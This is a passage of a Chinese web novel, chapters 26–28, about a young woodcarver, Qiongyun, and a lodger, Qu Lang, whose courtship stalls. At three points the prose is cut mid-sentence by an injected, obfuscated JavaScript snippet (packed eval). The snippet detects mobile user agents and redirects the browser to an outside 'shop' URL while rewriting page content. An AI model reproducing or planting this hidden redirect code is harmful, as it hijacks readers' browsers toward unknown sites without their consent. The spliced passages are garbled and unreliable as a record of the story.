屈朗红着脸,心虚地说:“我什么也没干啊……我就是……”嗓音越来越小,头越来越低。 “你闭嘴!”琼云目眦欲裂,为了防止社死,拼尽全力吼出这一嗓子。 “你又吼我!”屈朗累积的情绪在这一刻爆发,红着眼睛喘息了几下,也啪嗒啪嗒掉起眼泪来。 “谁给我解释一下?”管悠摊手,“这个瓜我没吃明白。” “我来大姨妈了。”琼云突然说,“我哭是因为我来大姨妈了。”把小小的一点情绪放大到泪失禁,除了受激素影响,琼云想不出还有什么其它原因,算算日子,也的确就在这几天,她低头跟奶奶用方言翻译了一遍,顺带真假掺半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337188|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地解释刚才到底发生了什么事情。 “那你呢?”管悠指屈朗,“你来大姨父了?好巧啊,你们很般配。” 屈朗被逗笑了一下,眼泪继续流。 经过琼云的一番解释,奶奶终于收起怒容,放下了笤帚。 琼云将奶奶往外推,叫她回卧室去,顺便把笤帚放回原位,然后径直走到屈朗背后,揪住他的衣服领口往下扯,还一边踮脚尖往里看。 “你干嘛?”屈朗连忙躲开,把衣服扯回原位。 管悠吐槽道:“你才是流氓啊。” 琼云正经地说:“红了,给你拿药喷一下。” “不用!”屈朗气呼呼地跑走,往楼上去。 琼云也不追,从抽屉里翻出跌打喷剂,塞给管悠:“你帮忙上去给他喷一下。” 管悠把喷剂推回去:“我是你俩之间的传话太监吗?” “不是啊,他现在生气不想理我,你是他朋友,你帮个忙。”琼云再次把喷剂往管悠手里塞。 管悠继续推:“他这哪里是生气,明明是撒娇,你懂不懂啊,你怎么跟我前男友一副德行?” “我可能真来大姨妈了,我去趟卫生间。”琼云也不想见屈朗,直接把喷剂塞进管悠裤兜里,跑进卫生间,脱掉裤子,一看裆部有血,仿佛找到了宇宙真理,整个人瞬间坦然了。 屈朗的表哥是隔天中午的时候过来的,屈朗出去接他,两人在附近吃了顿午饭,才“进门”,屈朗回来的时候手里拎着两盒蓝莓,他把其中一盒放到琼云的工作台上,垮着个脸说:“我表哥给你的。” 琼云回头看了眼表哥,表哥对她笑了笑,看起来很和蔼,但氛围很怪,好像见家长一样。 “但是你不能吃。”屈朗又作惊人言。 琼云很无奈地闭了下眼睛,两人认识以来,屈朗不是在生她的气,就是生她的气的路上,她觉得他的最佳高考志愿选择其实是成为一名潜水员,甚至都不需要供氧装备,因为体内的气很足,上辈子可能是张充气蹦床。 “我妈说蓝莓是凉的,”屈朗瞥了眼琼云坐下时略微隆起的小腹,“生理期不能吃……那我放冰箱里了。” 琼云回头,屈朗已经提着蓝莓往堂屋去了,她朝他喊道:“我爸和我奶奶不能吃吗?” “那不是还有一盒。”屈朗指桌子上另一盒蓝莓。 “……”搞得好像很熟了一样。 表哥一边朝四周打量一边慢慢走到琼云身边,问道:“你家卖手串吗?” “你要买?”琼云一听可能有生意做,连忙请表哥去茶几前坐。 表哥跟过去坐下,琼云接着问道:“你自己戴吗?” “不是,我爸,就是屈朗他舅舅,过段时间过生日,给他送给个礼物,他挺爱盘串的。” 琼云又去烧水准备倒茶,师庆过来接话茬:“喜欢盘什么?菩提子还是木头。” “我也不太懂。” “那你等一下,我给你拿几个样。”师庆从博古架的抽屉里捡了一把颜色各异的手串过来。 表哥挑了串黑亮的小叶紫檀拿在手里,一颗颗地拨动,这时屈朗放完蓝莓回来了,表哥翘起二郎腿,作清冷佛子状,问道:“屈朗,下个月你舅舅六十岁生日,你去不去?” 屈朗被震慑得嘴和眼睛都歪了,脑子里立刻蹦出两个字——阴险。 26.第 26 章 “不去。”屈朗用最没有情商的一种方式拒绝了表哥的邀请。 但表哥并不觉得尴尬,似乎是习惯了屈朗童言无忌的表达习惯,等他步入社会以后自然会有人教导他适宜生存的说话方式,不需要像定型果实一样从幼果期就在外安装模具,以便其按照模具的腔形生长成特定的模样。 表哥很快投入到与师庆探讨手串的选择当中去。 琼云在杯子里放好茶叶,就站在烧水壶边上等待水烧好的提示音,屈朗走到她身边,两个人站在一起,像被老师赶到门外罚站的坏学生,同为坏学生,自然要互相给予归属感。 屈朗作为使“坏学生”成为“坏学生团体”的人,率先发言:“刚才跟我表哥吃饭的时候,我表哥问我将来想干什么。” 琼云是一款风格比较清冷的捧哏,面无表情地问:“你将来想干什么?” “玩。” “……”想法很大众,但说法很小众,琼云仰头高看他一眼,因为她比他矮,近距离看他确实需要仰头。 屈朗继续说道:“就像收集零食里面的小卡片一样,地球上有那么多的国家,那么多的地方,如果在死之前没有把所有地方都走一边,会有遗憾的。” 琼云想了想,说道:“有钱,然后命够硬,就可以做到,经常外出,事故率会大幅度增高,出车祸或者飞机坠机又或者遇到反社会分子,进入陌生的水域或深山老林很容易死掉,而且有的地方治安很差,□□、毒贩、持枪自由、种族歧视,看你是黄种人不爽直接把你打死。 就算不出这些意外,身体素质也要很好,去陌生的地方容易水土不服导致生病,像部分欧洲国家,医疗人力资源和容量不足,得了小毛病看医生必须提前很久预约,但小毛病也许是大毛病的表面现象,或者越熬越大就可能熬死在半路,至于钱……如果你能成为很著名的摄影师或者你家里很有钱的话,就没问题,但这个是绝对前置条件。” “叮”,水烧好了,琼云提着烧水壶和一次性杯子走到表哥跟前把茶倒上。 屈朗望着琼云的背影说道:“绝对前置条件暂时满足不了。” 琼云倒好茶,就坐到表哥和师庆旁边,不回去罚站了,于是屈朗屁颠屁颠跟过来坐下,把刚才说过的话在她耳边重复一遍。 琼云回复:“我又不能帮你解决。” “我要按照自己的意愿来填志愿就必须回去和我爸妈据理力争,可一旦回去就很难再逃出来了,我要直接服从我爸妈的安排吗?” “我说过这方面我给不了你有用的建议。”琼云从小跟师庆学木工是她自己做出的选择,三年前不去念大学也是她自己做出的选择,宅在家里、宅在这座老龄化严重难以涌入新鲜血液的古城里也是因为她天生就喜欢这样,一个他人走遍天涯海角的梦想不会在她内心掀起丝毫波澜,产生鼓励对方不惜一切代价勇敢追求的欲望。 “我说我回去以后就很难再逃出来了。”屈朗扯琼云的袖子撒娇。 “不过一个暑假而已,又不是无期徒刑,你要去上大学的。” “那我不是见不到你了,万一暑假结束以后,我们互相就不喜欢了呢?不会有遗憾吗?” 琼云的大脑顿时一片空白,陷入爆炸后的嗡鸣中。 “小叶紫檀油多,不盘也亮,名气也很大,你爸说不定已经有一串了,他都戴哪些你知道吗?” “他好像是有串差不多的,”表哥把小叶紫檀放在掌心搓热,凑近鼻尖嗅了嗅,“味道也差不多。” 屈朗插嘴道:“你打个电话问下舅舅不就知道了。” 琼云不声不响起身离开座位。 “你去哪?”屈朗的视线追过去,但琼云没有给予他回应,于是他也离开座位,跟在她身后,两人回到了工作台前,琼云坐下,拿起雕刻刀重新开始刨木屑,屈朗没坐,只是蹲在她腿边。 “你怎么不说话呀?你真舍得我走?” “舍得,你跟你表哥回去吧。” 屈朗皱起脸发出一阵鬼动静,嗔怪道:“你说的是实话?你敢发誓吗?” 琼云顿时火冒三丈:“别烦我!走开!” 在茶几前盘手串的两人不由得将目光朝这边投过来。 屈朗愣了一下,但也只是愣了一下,瞥了眼琼云的小腹,便豁然道:“我过两天再跟你说。”然后起身回到茶几前去。 表哥给屈朗他大舅打了通电话,发现他大舅的确有一串小叶紫檀,但表哥还是决定再买一串小叶紫檀,因为他大舅的小叶紫檀是人工培育的新料,而师庆这里有品质更佳的野生老料,密度高、棕眼小、纹理多、性质稳定,方便拿在手上常盘,最终以一千六的价格拿下,附带一个小礼盒。 然后表哥被屈朗带上楼参观了一下古色古香的美丽卧室,再然后,表哥就说要走了,再也不来的那种走,没任何明示或暗示、强制或婉约要把屈朗一起带走的那种走。 屈朗不想跟表哥回去,但表哥完全不扮演罗曼蒂克故事中棒打鸳鸯的邪恶家长、不cos白蛇传里拆散许仙和白娘子的法海,屈朗心里又觉得很不得劲。 于是他问道:“你不劝我回去吗?我妈让你来不是为了劝我回去的?” 表哥浑身上下表示不理解:“我刚才问你去不去参加你舅舅的生日宴你都不愿意,怕一去就被按那儿,你现在怎么还意犹未尽上了?” “嗯……”屈朗活动了几下口腔肌肉和眼球。 表哥问道:“你妈说你喜欢这家的姑娘所以不愿意回去,那姑娘也喜欢你吗?” “那当然。”屈朗笑了,得意中带着一丝羞涩——他这么有魅力,哪有追求女孩子会失败的道理? 表哥又问:“她了解你家里的经济状况吗?” 屈朗突然严肃起来:“你什么意思?” “所以她了解吗?” “你们这些人都这么庸俗。” 表哥笑道:“钱、才、貌,总要图一样,等你到了需要被催婚的年纪就懂了,相亲要把这些东西像PPT一样列出来,要是你一无是处,谁会看上你?你现在还在上学,对待感情比较纯粹,但我听说那姑娘年纪比你大不少,不是学生了,那她会考虑的问题一定比你复杂得多。” 屈朗自信地说:“她图我长得帅,又有才华,而且她就比我大三岁,也没有大很多啊,她和你们这些庸俗的社会人不一样。” “那看来你没跟她提过。” “你说得好像我爸是煤老板一样,那我妈早该把支票甩出来了,”屈朗一边说一边模仿,傲慢地仰起脑袋,不耐烦地甩出一张空气,“给你五百万,离开我儿子,然后转头一个敲诈勒索把人送进监狱。” 表哥被逗得哈哈大笑,笑完说道:“你爸虽然不是煤老板,但好歹自己开公司,你也算是个小富二代了,等到了需要相亲的年纪,你这条件摆出来不知道多吃香,哦不,都不需要相亲,一大堆姑娘追着你跑。”表哥说到这里,拍了拍屈朗的肩,“既然那姑娘是真心喜欢你,你就好好珍惜和她在一起的这段时间吧,我走了,下午还有事。” 屈朗的脸又呈现出不得劲的状态:“我妈真没让你劝我回去啊?” 表哥皱着眉啧了一声,“你到底是想回去还是不想回去?” 屈朗舔了舔后槽牙,有点扭捏地说:“嗯……就是,我女朋友,还不是女朋友,我跟她说你可能是我妈派来劝我回去的,她明明舍不得我走,却非让我跟你走,说多了,还生我的气,我本来想,你要是真来劝我走,事实摆在她面前,她说不定会诚实一点。” 表哥回顾自己的恋爱经历,思索了片刻,推测道:“有没有可能她是缺乏安全感,毕竟你不是本地人,而且你过两个月就要去上大学了,要么暑假结束就分手,要么继续下去异地恋,没几对情侣能抗过异地的,不等感情淡掉,光没安全互相猜忌这一条,就够分手了,我跟我初恋就这么分的。” 屈朗茅塞顿开——安全感,原来是因为缺乏安全感,但安全感要怎么给呢?他得去问问管悠的意见。 “琼云。” ——屈朗向管悠取完经回来以后,用冷酷中略带忧郁的表情,和沉稳中不乏霸道的身姿,半包围住正在刨木屑的琼云,用低沉性感的气音在她耳边如此呼唤道。 “不是重要的事不要说,”琼云放下雕刻刀,白皙修长的玉指靠近屈朗按在工作台上青筋暴突的大手,一巴掌扇上去,“松开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351679|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 屈朗将手拱成桥,让琼云把原本压在底下的钢尺抽走,然后用不容拒绝的口吻说道:“我有很重要的事情要对你说,你跟我出来一下。” “没空,就在这说。” 屈朗瞥了眼旁边的琼云她爸,表情狰狞了一秒钟,回过头来,恢复冷酷中略带忧郁的神情,继续向琼云施压:“我叫你跟我出去。” “爱说不说,不说拉倒!”琼云“嘭”的一声把钢尺拍到桌子上。 屈朗被吓得抖了一下,眯起眼睛,咧开嘴巴,很窝囊地哼哼笑了两声,说:“等你下班再说。”然后就收摊走了。 方法有没有效还不知道,但执行起来显而易见的不容易。 琼云加班到晚上九点过才歇工,正准备关灯拉闸,人已经走到墙边,就差摁下开关了,一只手突然啪的一声打到墙上,紧接着是另一只手,连着有力的双臂和弥散着热量的身体一左一右将她圈住。 “琼云。”嗓音近得能感受到他呼吸的力量和温度。 琼云慢慢转过身,与这嗓音的主人面对面的那一刹那,她不可否认自己的心脏停跳了两秒钟。 屈朗洗过澡,换了一身黑色的衣服和裤子,整个人的气质也跟随黑色变得低沉、强势。 管子曾经曰过:“干这种事对建模的要求很高,要穿得帅一点,从头黑到脚最保险,给人感觉神秘、冷酷、有攻击性,帅,就很帅,你懂吧?诶嘿嘿嘿嘿。” 琼云的脸有些热,但比起享受当前的氛围,她更想逃跑:“我要上去洗澡。” “不能等会儿再洗吗?” “不能。” 琼云是无法想象自己的表情和语气是多么冷酷和具有威严的。 “那你去洗吧。”屈朗同时松开两只手,侧身让开道。 “嘭!” “没出息……” 琼云隐约听到楼梯上有人说话,还跺了一脚,但她的脑子很乱,来不及多想,赶紧关灯拉闸跑上楼,然后发现管悠站在走廊上,尽管她上楼梯的动静很大,但管悠仍没有在第一时间发现她,而是沿着走廊走了几步,面向夜空感慨了一句“今晚的月色好美啊”,才转头惊喜地向她问候:“你下班啦?” “嗯。”琼云侧目,心有疑虑,但连忙跑进卧室,拿了换洗衣服钻入淋浴间。 等洗完澡出来,差点撞到屈朗身上,他等得似乎有些疲倦了:“现在能说了吗?” 琼云摇头,像螃蟹一样挪出去,走到卧室门口,小心翼翼只打开一小道足以让自己身体穿过的窄缝,迅速钻进去,把门甩上。 但屈朗似乎早就察觉到了她的用意,在门完全闭合前将手伸了进来,同时身体用力把门往里推,一边推一边艰难地说:“琼云,我真的有很重要的话要跟你说,我求你了。” “整哪样?”师庆听到动静开门出来,瞪着眼睛一边捋袖子一边朝屈朗走过去,“你想整哪样?” 屈朗顿时泄了气,琼云的力量获得压倒性胜利,门被关上了,还咔哒一声探出了锁舌。 师庆走到屈朗跟前,屈朗被吓得手脚冰凉,又发出哼哼哼的弱智笑声,“我没哪样,我不整哪样,叔叔,我就有点事情要跟琼云说,我明天再说。” 师庆指着屈朗的鼻子警告道:“你要追我女儿我没意见,但你耍流氓我就要把你赶出去了。” 屈朗把双手举至脸边投降:“叔叔我没耍流氓,我惹琼云生气了,我就想跟她道个歉,她不理我,我什么都没干,我碰都没碰到她,真的。” “你最好是。”师庆指门外,“回你自己房间去。” 屈朗灰溜溜地走了,等到了走廊上,师庆就把当心间的大门给锁了。 管悠飘到屈朗身边,笑着对他竖起大拇指:“三连败,牛逼。” 屈朗绝望地问:“怎么办?” “明天再说喽。”管悠哈哈大笑,回自己房间去,一步三回头,肆意嘲讽,“牛逼,怎么这么牛逼?你真是我带过最差的一届。” 屈朗颓废地拖着沉重的脚步,来到琼云窗前,像鬼一样哀怨地呼唤她,然后惊喜地发现白天打开通风的窗户还没来得及上锁。 犹豫就会败北,何必等待明天。 27.第 27 章 琼云每天起床都要将东西两面的窗户打开通风,到了晚上回卧室后再关上,但今晚屈朗诡异的行为扰乱了她的思绪,令她来不及锁窗就急匆匆抓了换洗衣物逃进淋浴间,从淋浴间出来以后又马不停蹄去对抗紧追着她不放还企图破门而入的丧尸,最终在战胜后的激烈呼吸声和心跳声中蒙头盖脸地把自己裹进黑漆漆但能获取舒适感和安全感的被窝,全然忘记卧室的安全系统仍有一个极大的漏洞。 当她听到窗台上发出窸窸窣窣又叮铃哐啷像老鼠一样的动静,于是掀开被子去查看的时候,丧尸已经破窗而入了。 丧尸单膝跪在地上,嗷了一声,捂住额头,因为他刚才不小心撞到了旁边书桌的椅子。 “你有病吧。”这是琼云对于这只蠢笨丧尸的评价。 下一秒,丧尸就饿虎扑食般朝她飞扑过来把她摁到在床上。 到了关键时刻,两个人嘴里一句台词都挤不出来,就红着脸,大眼瞪小眼。 过了会儿,屈朗假装若无其事地从床上下来,扶着被撞痛的额头遮挡视线,另一只手的食指蜷曲着无法伸直,探出又收回,收回又探出,“那什么……你先从床上下来。” 琼云蠕动着起身靠到床头,然后愤怒地指向敞亮的窗户:“你把蚊子放进来是想我晚上被咬死吗?!” “对不起。”屈朗收敛羞涩的情绪快速向琼云鞠了两个躬,转身去关窗户,推上纱网,闭合玻璃窗,顺带落下锁扣。 琼云用力拍打被子刚才被屈朗跪过的地方,一边拍一边骂:“你从窗户翻进来摔到地上还爬到我床上来!我前两天刚换的,不用你洗你不心疼!进卧室要换拖鞋,你穿外面的鞋子进来把我地板都踩脏了!你给我滚出去!” 屈朗被骂得手足发软、眼神迷离,关完窗户回来扑通一声跪到床边,身体像鹌鹑一样缩起来,说话也结巴:“我我我洗,你你现在,要,要换被套吗?拖把在哪?” “我要睡觉了你让我换被套?你现在把地拖了,地板是湿的,容易打滑,你生怕我夜里有什么事起床摔不死是不是?” “那那那明天,明天我拖。” 咚咚咚,门突然被敲响,两人的目光同时转过去。 “你在跟哪个说话?”师庆在门外问道。 琼云回他:“没哪样,没得事。” 门外安静了一会儿,屈朗接着道:“琼云……”刚叫出名字,还没来得及切入正题,门把手从外被用力扭动了几下,紧接着是一阵激烈的敲门声。 “我听着喽,我把门都闩牢嘞,他从哪点进来呢?!把门开开!” “叔叔,我爬窗户进来的。”屈朗的语气平淡而乖巧,透着一股极致的嚣张,于是师庆敲门敲得更激烈,嗓门也更大了。 很光彩吗? 琼云瞪他。 瞪得他缩起脖子。 琼云朝门外喊:“爹,没得事,我跟他摆清楚就行嘞,你莫操心。” 敲门声很快停下,师庆回喊:“我站在这点,有哪样事叫我一下。” 琼云理了理睡裙的领口,对屈朗道:“有话赶紧说,说完就走。” 屈朗以膝代步挪得更近,“琼云,你是不是觉得没安全感才不和我在一起啊,我想过了,我可以报本地的学校,那样每个星期周末的时候我都可以来找你,再近一点的话,每天上完课就可以过来。” 琼云听完差点被气笑了,“白痴才会做这种事,你跟谁学的?管悠吗?” “不是啊,我自己想的,她教的不是这个。” “先不说你爸妈绝对不可能同意,拿一个没底的事在这跟我放屁,你就算真这么干了,到时候一开学后悔了,想把所有责任都推卸到我头上吗?我可承担不起。” “我不会后悔,反正我爸妈给我挑的专业我都不喜欢,还不如填一个离你近一点的学校,每个周末能来找你,还开心一点,即便我们分手了我也不会后悔。” 琼云瞬间被激怒,抄起床头一只抱枕就往屈朗头上砸过去,吼道:“你把我当什么!?” 屈朗被砸个正着,抱枕掉下来,用双手接住摁在床沿,他以为琼云只是对他的回答不满意,继续说道:“后悔了我也不会怪你,这是我自己做出的选择。” 琼云嗔目切齿,胸膛剧烈起伏,忽略门外焦急的声音,一字一句地道:“从你爸妈找上门那天,你把喜欢我当借口,用自杀威胁你爸妈好让自己留下来的时候,我就该看清你了,你把我当什么?你青春叛逆期反抗父母的理由,在这条道路上一个很有纪念意义的里程碑吗!?” 屈朗露出不可置信的表情,“怎么会?我见你第一面就喜欢你,我当时根本没想那么多。” “我看你是精虫上脑!你要是没有选择在我家住,去别家住,别家有个年轻姑娘,你也会喜欢!任何人都可以代替我,像你这个年纪的男生,脑子里一天到晚都在想些什么东西,你以为我会不知道吗!?” 屈朗被骂得自我怀疑起来,眉头紧皱,口唇微张,双手抱头,回顾自己第一天见到琼云的情景,左思右想,搜肠刮肚——当时脑子里貌似没蹦出黄色的东西啊,真的是因为单纯好色吗? 琼云冷笑:“被我说中了?你为什么要跟我谈恋爱,因为你就是闲得无聊想找点乐子,对你来说我跟零食里面的小卡片没有区别!我三番五次拒绝你,你还这么执着,不是因为你真的很喜欢我,而是激起你的胜负欲了,打游戏失败重来好几遍都不能通关,就去找管悠要攻略!” 屈朗的双手紧贴着头发和皮肤从脑后推到前面,捂住整张脸。 “你连一句反驳的话都说不出来。”把情绪发泄出来后,琼云并没有感到畅快,反而心口堵得慌,堵得满目血丝,眼眶湿润。 僵持了片刻后,屈朗捂住整张脸的双手往下挪,露出双眼,视野从黑暗中骤然恢复光明,琼云的样貌格外清晰,他这么看着琼云看了好一会儿,也许十几秒,也许半分钟,然后才把手放下来,令新鲜的空气灌进鼻腔和喉咙,漂洗肺腑:“我觉得你说的有道理,我应该好好思考一下,吊桥效应产生的心动未必是喜欢,梁山伯与祝英台之间没有门第观念的阻挠不会成为梁山伯与祝英台。” “晚安。”他起身走向窗口。 “你还要翻窗户?走门。” “哦。”屈朗有点尴尬地绕道回来,走到床边时,突然停下,把鞋子脱了下来,穿着袜子朝门口走去。 琼云冷不防笑了起来,再次蒙头盖脸把自己裹进黑漆漆的被窝里,笑得浑身发抖。 管悠离开的那天,和老关离开的那天一样,也是一个阳光明媚平平无奇的一天,只不过管悠比老关要懒,睡醒后才开始收拾行李。 琼云和屈朗把她送到城门口,离别前,她给了琼云一个拥抱,告诉琼云,哪天有时间可以去找她玩,她知道哪家餐馆的菜最好吃,哪里的景区值得去。 琼云觉得这和“改天请你吃饭”这种客套话差不多,她们只相识了短短一个月,今后,琼云会碰到无数个这样的客人,等到她哪天有时间路过她的家乡时,或许,她的姓名、她的这句承诺、她们之间所有相处的记忆都已消散在时间的长河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357180|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之中…… 进入7月,屈朗一下子忙碌起来,给人拍照,每天早出晚归,回来也不闲着,坐在电脑屏幕前,拿着鼠标往一张张人像上戳来戳去,一开始还兴冲冲的,结果不到一个星期,就已经变成了社畜的模样,成天拉着张驴脸。 没有快乐的工作,即便把爱好当工作,也不会快乐。 只有关于志愿填报的事情才能在他内心掀起波澜,开启填报的当天,他跟父母煲了将近两个小时的电话粥,在一片比他人还高的、广阔无垠的成熟玉米地里。 此后的第五天,他找到琼云,希望她在下班后给他留一点时间,五分钟就够,他有话想对她说。 这一天天黑后不久,琼云就下了班,她喷干净身上的木屑,坐到茶几前,把手机放到茶几上,点进计时器,然后给在旁边等了很久的屈朗一个眼神示意。 屈朗在她收拾东西的时候就已经合上了笔记本,此刻得到信号,便夹着笔记本坐到琼云对面,把笔记本放到茶几上,双手放松地搭着笔记本。 “说吧。”话音落地,琼云开启倒计时。 手机屏幕上飞速变化的毫秒看得屈朗心脏突突跳,五分钟瞬间只剩下四分多钟,“这么严谨吗?” 琼云目光冷漠:“知道严谨还浪费时间。” 屈朗双手交叉:“志愿已经填完了,前几天就填完了,填的那天我爸问我最近在干什么,欠了几个朋友的债了,我说我最近在给人拍照片赚钱,他问我能赚多少,我说如果一个月不休息每天都拍的话,能赚一万多,即便每个月有空缺,保守来算,一个暑假下来,欠朋友的债也能全部还完,自己吃饭住宿也没问题,然后你猜我爸怎么说?” 他看向琼云的目光有些兴奋,但琼云依旧保持冷漠:“是你有话要对我说,我不是来跟你聊天的。” 屈朗不满地努了努嘴,继续说道:“我爸说,既然我有能力养活自己的话,就由我自己来做决定。” 琼云听到这里顿时皱起了眉头。 屈朗察觉到了她微妙的情绪以及这微妙情绪背后的缘由:“不是你想的那样。” 琼云的眉头舒展开来。 “然后,”屈朗上身前倾,将肘关节搭到笔记本上,“我现在不需要反抗我父母了,让你觉得我对你的感情不纯粹的因素消失了,你现在还想跟我谈恋爱吗?我觉得这个因素消失了,我还是喜欢你的。” “不谈。”琼云直截了当地说。 屈朗愣了一下,然后把指腹摁在嘴唇上,思考还有什么因素是他没考虑到的,片刻后恍然大悟,哦了一声,道:“你说我在你三番五次拒绝后还坚持追求你,是被激起了胜负欲,把你当游戏来玩这个说法不对,是我知道你也喜欢我以后,我才决定争取的,要不然……” “我现在不喜欢你了。”琼云打断他。 屈朗再次愣住——这个理由无懈可击。 “说完了吗?”琼云看了眼倒计时,还有三分多钟,“说完了可以提前结束。” 屈朗张大嘴巴,酝酿半天,说出个“好”字。 琼云停止倒计时,去关灯拉闸。 屈朗慢悠悠地从座位上起身,将笔记本抱起,用手臂和身体夹住,整个工作室瞬间暗下来,只剩楼梯上还亮着一盏昏黄的灯。 他的声音在昏暗的光线里传播:“那个,这样的话,过几天,一个月满期,我就搬走了,拍照要到处跑,我住酒店会方便一点。” “哦。”琼云从黑暗中走上楼梯。 “祝你天天开心。”屈朗冲琼云咧出一个笑容。 28.第 28 章 阿桐要来琼云家住几天,更准确来说,是“躲”,躲一个在酒吧里看上她,企图和她发展恋爱关系的客人。 这名客人是一个女生,因此当她开口向阿桐要联系方式时,阿桐没有任何防备,直到阿桐一而再,再而三地拒绝了她“围堵式”的告白后,她开始像明星的私生粉一样跟踪阿桐,甚至找到了阿桐的住处,对阿桐展开骚扰。 阿桐尝试过报警,但警方并没有把这当作一回事,只是对那女生进行了口头劝告,因为这女生是一个女生,而且是一个瘦弱的、手无缚鸡之力且没有对阿桐造成任何实质性伤害的未成年女生。 但这女生之所以没有对阿桐造成实质性身体上的伤害,恐怕并不是因为她不想,或者有着“尽管自己人格卑劣、人生如一滩烂泥,仍不愿意伤害自己喜欢的人”的烂人真心人设,只是因为阿桐长得比她高大,她觉得自己打不过而已,因为她曾经威胁过阿桐说:“你不跟老子处对象,老子他妈找人弄死你!”而在警察面前却假扮得格外乖巧。 碍于对方是一名未成年,拥有未成年人保护法的庇荫,假如使用暴力手段进行驱逐,对方有胆量下死手,阿桐却没这个胆量。 所以即便阿桐占据体型和力量上的优势,仍旧“打不过”,打不过,就只好躲,除了坐了好几班车来来回回绕了一大圈躲进琼云家里,她还跟酒吧老板请了一晚上的假,并统一口径,无论任何客人问起,都说她已经辞职了。 “你把自己弄得邋遢一点,她就不会喜欢你了。”这是屈朗给出的建议。 阿桐躲过来的这天,是一个氛围很贴合躲避原因的阴云密布的雨天,但这雨并不大,如果在夜晚的路灯下看来,只是一些细细密密的针状物。 屈朗开启约拍事业之初,没有考虑到小雨天也是可以进行室外拍摄的,最重要的是需要给相机和补光灯各自准备一件专业的雨衣,因此他在这天经历了第一次项目的流产,白天也只能待在琼云家里拿鼠标拖动箭头在那些照片上戳来戳去。 他在被琼云拒绝掉历经深刻反省和重大变故,过筛掉大部分杂质的再一次恋爱申请后,并没有选择刻意躲在房间里尽量避开与琼云的接触,而是仿佛无事发生般坦然地与琼云和师庆父女二人共处一室,因为他觉得工作室里这种夹带着稳定刨木屑音效和专注工作的氛围令人十分舒适。 因此阿桐与琼云探讨“被未成年女流氓缠上”这件事的全过程,都被他听进了耳朵里。 “我起床去骂她的时候头发像鸡窝一样,脸没洗,牙也没刷,还不够邋遢?”阿桐如此回应屈朗给予的建议。 屈朗合上笔记本,继续建议道:“你冲她打嗝放屁,把鼻屎抠出来弹到她身上,做到这种地步肯定见效。” 阿桐心想,这嗝、屁、鼻屎也不是随时随地都能产生的,那看来下次去和那女流氓交流前还得专门酝酿一下?不过想想要就此毁掉自己高冷帅气的形象,不由得生出一丝绝望。 此刻琼云正阴恻恻地盯着屈朗,从他开口提出建议起,她就这样盯着他,她在想,他为什么能快速给出一个既实用又能避免暴力冲突的方法?难道他曾经经历过类似的事情吗?他是在炫耀自己有很多女孩子追求,试图报复她无情的拒绝吗?就好像在说他根本就不在乎这次失败,她只是他广阔森林中微不足道的一棵小草而已。 屋外突然刮起一阵妖风,冰冷的温度从门窗的缝隙涌进来,冻得琼云打了个寒颤——她为什么会这样阴暗地揣测他?他又凭什么可以如此坦荡,就好像昨晚什么事情都没有发生过一样? 琼云突然起身,对阿桐说:“我上去添件外套,有点冷。” 阿桐跟着她上去,顺便把两只蜘蛛和一包衣物及洗漱用具搬进她的卧室。 琼云打开衣柜,顺着衣架杆子摸到一件酒红色的夹克衫,提出来,却因为突然触景生情想起一些事情,又放了回去。 “这不是有穿过的外套。”阿桐指着旁边衣帽架上的一件深灰色工装外套提醒道。 于是琼云把衣帽架上的外套取下来穿上。 “你好像有点心不在焉。”阿桐莫名抓住琼云的右腕,把袖口捋上去,手腕是空的,没佩戴任何饰品,“那条五色绳摘掉了,你和他吵架了吗?你刚才看他的眼神像在看仇人。” “没有。”琼云把袖口扯回原位。 阿桐笑道:“不是吵架那就是分手了,不会真的被我说中了吧?他是因为没钱想吃软饭才来追你。” 琼云摇头:“他给人拍照片自己能挣钱,而且我跟他没在一起过,谈不上分手。” “那是什么原因?” “你不是很讨厌他吗?还觉得他一个男生那样说话很恶心,为什么要追究这个?也许他和你想象中一样令人讨厌。” “我现在不讨厌他,从那天晚上他和你一起去酒吧来给我捧场点了三首歌开始,我突然不讨厌他了。” 琼云露出鄙夷的眼神:“三首歌的钱就把你收买了。”转念一想,屈朗此人比表面看起来有心机,心里突然有点畅快。 阿桐微眯起眼睛,神秘兮兮地小幅度摇起头,辩白道:“不是三首歌的钱,而是那三首歌,我从那以后就理解他为什么会喜欢你了,因为他和我一样有品味。”说到最后一句不由得竖起大拇哥。 琼云忍俊不禁叹出“哈”的一声,“你也和他一样自恋。” 阿桐不觉得这是批评,理所应当地说:“喜欢在众目睽睽的舞台上表现自己的人,没有不自恋的。” 